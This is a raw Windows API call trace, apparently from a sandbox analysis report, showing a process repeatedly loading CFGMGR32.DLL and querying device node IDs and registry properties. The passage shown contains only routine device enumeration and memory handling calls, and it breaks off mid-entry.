[0219.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.863] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0219.863] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0219.864] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0219.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63e8081a, dwHighDateTime=0x1d9eb0c)) [0219.864] SetEvent (hEvent=0x248) returned 1 [0219.919] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.919] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.924] malloc (_Size=0x18) returned 0x196ef0d1f20 [0219.924] CM_Get_Device_IDA (in: dnDevInst=0x14, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0C01\\2&DABA3FF&0") returned 0x0 [0219.924] malloc (_Size=0x48) returned 0x196ef0fb310 [0219.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x63f18c96, dwHighDateTime=0x1d9eb0c)) [0219.924] SetEvent (hEvent=0x248) returned 1 [0219.931] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.931] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.934] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.934] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.044] malloc (_Size=0x18) returned 0x196ef0d1d60 [0220.044] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.044] malloc (_Size=0x5a) returned 0x196ef0d0370 [0220.044] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0220.045] free (_Block=0x196ef0d0370) [0220.045] malloc (_Size=0x48) returned 0x196ef0fb450 [0220.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64023c11, dwHighDateTime=0x1d9eb0c)) [0220.045] SetEvent (hEvent=0x248) returned 1 [0220.048] malloc (_Size=0x18) returned 0x196ef0d1d60 [0220.048] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0220.048] free (_Block=0x196ef0d1d60) [0220.049] malloc (_Size=0x18) returned 0x196ef0d20e0 [0220.049] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0220.049] free (_Block=0x196ef0d20e0) [0220.049] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0220.049] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0220.049] free (_Block=0x196ef0d1ec0) [0220.049] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0220.049] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0220.049] SafeArrayGetLBound (in: psa=0x196ef1f2cf0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.049] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.049] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0220.049] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0220.049] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.049] SafeArrayGetElemsize (psa=0x196ef1f2cf0) returned 0x8 [0220.050] SafeArrayGetElement (in: psa=0x196ef1f2cf0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.051] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e790, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.051] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e798, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.051] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.052] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0220.053] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0220.053] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.053] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.057] malloc (_Size=0x18) returned 0x196ef0d1a20 [0220.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0220.057] malloc (_Size=0x48) returned 0x196ef0fbc70 [0220.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6404a09b, dwHighDateTime=0x1d9eb0c)) [0220.057] SetEvent (hEvent=0x248) returned 1 [0220.108] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.108] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.112] malloc (_Size=0x18) returned 0x196ef0d1f60 [0220.112] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.115] malloc (_Size=0x48) returned 0x196ef0fbae0 [0220.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x640e2cf9, dwHighDateTime=0x1d9eb0c)) [0220.115] SetEvent (hEvent=0x248) returned 1 [0220.121] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.121] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.131] malloc (_Size=0x18) returned 0x196ef0d1960 [0220.132] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.132] malloc (_Size=0x48) returned 0x196ef0fb680 [0220.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64109152, dwHighDateTime=0x1d9eb0c)) [0220.133] SetEvent (hEvent=0x248) returned 1 [0220.142] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.142] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.148] malloc (_Size=0x18) returned 0x196ef0d20a0 [0220.149] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.149] malloc (_Size=0x48) returned 0x196ef0fb220 [0220.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6412eea0, dwHighDateTime=0x1d9eb0c)) [0220.150] SetEvent (hEvent=0x248) returned 1 [0220.203] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.203] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 